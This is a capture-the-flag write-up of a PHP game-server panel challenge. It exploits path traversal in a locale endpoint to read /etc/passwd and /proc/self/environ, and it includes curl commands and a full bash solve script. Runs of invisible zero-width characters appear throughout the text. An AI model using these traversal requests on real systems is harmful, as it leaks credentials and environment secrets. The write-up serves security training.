← Back to Writeups
CUSTOMMediumWeb

ServerNest — LFI to RCE via Locale Loading

XESXOR9/10/20264 min read
#web#custom#medium#environment_variable_exfiltrat#javascript_source_analysis#path_traversal_lfi#proc_self_environ_read#unauthenticated_endpoint_disco#linux

ServerNest — LFI to RCE via Locale Loading

Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-05-22 | Status: Solved Techniques: environment_variable_exfiltration, javascript_source_analysis, path_traversal_lfi, proc_self_environ_read, unauthenticated_endpoint_discovery

Summary

Task: PHP game server management panel with locale/i18n loading endpoint vulnerable to path traversal via namespace parameter. Solution: discovered unauthenticated /locales/locale.json endpoint from JavaScript source, exploited LFI in namespace parameter to read /proc/self/environ and extract the flag from environment variables.

ServerNest — LFI to RCE via Locale Loading — HackAdvisor

Description

ServerNest is a web-based game server management panel built by NestOps Technologies. It allows administrators to deploy, monitor, and manage dedicated game servers for communities and teams. The platform provides a real-time dashboard with server metrics, user management, and a comprehensive activity log.

Your goal is to find a vulnerability in the application that allows you to achieve remote code execution on the underlying server and retrieve the flag stored on the system.

The dashboard is publicly accessible, but most management features require authentication. Look carefully at how the application handles its internationalization and translation loading — not all endpoints require a login.

Credentials: user@test.com / password123 ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

English summary: A PHP-based game server management panel with an internationalization (i18n) system. The locale loading endpoint is unauthenticated and the namespace parameter is vulnerable to path traversal, allowing arbitrary file read. The flag is stored as an environment variable accessible via /proc/self/environ.

Analysis

Tech Stack

  • PHP 8.2.26 running via built-in dev server: php -S 0.0.0.0:8080 -t /app/public /app/public/router.php
  • nginx/1.25.5 as reverse proxy
  • Alpine Linux container
  • App root: /app/public ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Endpoint Discovery

The main page loads app.js which contains a LocaleManager object that reveals the locale loading endpoint:

javascript
const LocaleManager = {
    currentLocale: 'en',
    async loadTranslations(locale, namespace) {
        try {
            const resp = await fetch(`/locales/locale.json?locale=${encodeURIComponent(locale)}&namespace=${encodeURIComponent(namespace)}`);
            if (!resp.ok) return null;
            return await resp.json();
        } catch (e) {
            console.error('[i18n] Failed to load', locale, namespace, e);
            return null;
        }
    },
    // ...
};

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

This reveals the unauthenticated endpoint: GET /locales/locale.json?locale=...&namespace=...

A normal request returns JSON translations:

GET /locales/locale.json?locale=en&namespace=common.json
→ 200 OK with {"app_name": "ServerNest", "dashboard": "Dashboard", ...}

Vulnerability Analysis

The namespace parameter is passed directly to a file read function (likely file_get_contents() or readfile()) without sanitization. The locale parameter IS validated — traversal attempts return {"error":"Translation not found"}. But namespace allows arbitrary path traversal. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Decoy Flag

A honeypot flag FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} is embedded in HTML comments and hidden divs on every page. This is designed to trap automated scanners and bots that grep for flag patterns in HTML source.

Solution

Step 1: Discover the locale endpoint

Inspect the JavaScript source at /app.js (or view page source). The LocaleManager object reveals the unauthenticated locale loading endpoint with two parameters: locale and namespace.

Step 2: Confirm LFI via namespace parameter

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Test path traversal with 3 levels of ../ to escape from the locale directory to the filesystem root:

bash
curl -s "$URL/locales/locale.json?locale=en&namespace=../../../etc/passwd"

Response confirms Alpine Linux:

root:x:0:0:root:/root:/bin/ash
bin:x:1:1:bin:/bin:/sbin/nologin
...
www-data:x:82:82:Linux User,,,:/home/www-data:/bin/ash

The traversal depth of 3 (../../../) is needed because the locale files are served from approximately /app/public/locales/ — three directories deep from root. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 3: Extract the flag from /proc/self/environ

Since the flag is not stored as a file on disk, read the process environment variables:

bash
curl -s "$URL/locales/locale.json?locale=en&namespace=../../../proc/self/environ"

Response (null-byte separated environment variables):

HOSTNAME=09063680a928 SHLVL=1 HOME=/root PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin INSTANCE_UUID=5b541e4a-0b2e-4579-b13a-b1d9f34fe436 PWD=/app FLAG=FLAG{REDACTED}

Full solve script

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

bash
#!/usr/bin/env bash
# ServerNest LFI — extract flag from /proc/self/environ
URL="${1:?Usage: $0 <target_url>}"

echo "[*] Testing LFI via namespace parameter..."
PASSWD=$(curl -s "$URL/locales/locale.json?locale=en&namespace=../../../etc/passwd")
if echo "$PASSWD" | grep -q "root:"; then
    echo "[+] LFI confirmed — /etc/passwd readable"
else
    echo "[-] LFI failed"
    exit 1
fi

echo "[*] Reading /proc/self/environ..."
ENVIRON=$(curl -s "$URL/locales/locale.json?locale=en&namespace=../../../proc/self/environ")
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# Extract flag (environ uses null bytes as separators, but curl may show them as spaces)
FLAG=$(echo "$ENVIRON" | grep -oP 'FLAG=\K[^ ]+' | head -1)
if [ -n "$FLAG" ]; then
    echo "[+] Flag: $FLAG"
else
    echo "[-] Flag not found in environ. Raw output:"
    echo "$ENVIRON" | tr '\0' '\n'
fi

What did NOT work

  • PHP wrappers (php://filter/convert.base64-encode/resource=...) — the file is loaded via file_get_contents() or readfile(), not include(), so PHP stream wrappers are not processed
  • Log poisoning — the app uses PHP's built-in development server, not Apache, so no /var/log/apache2/access.log exists
  • Locale parameter traversal — the locale parameter is properly validated/sanitized and returns an error for any traversal attempt
  • Filesystem flag search — the flag exists only as an environment variable, not as a file ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍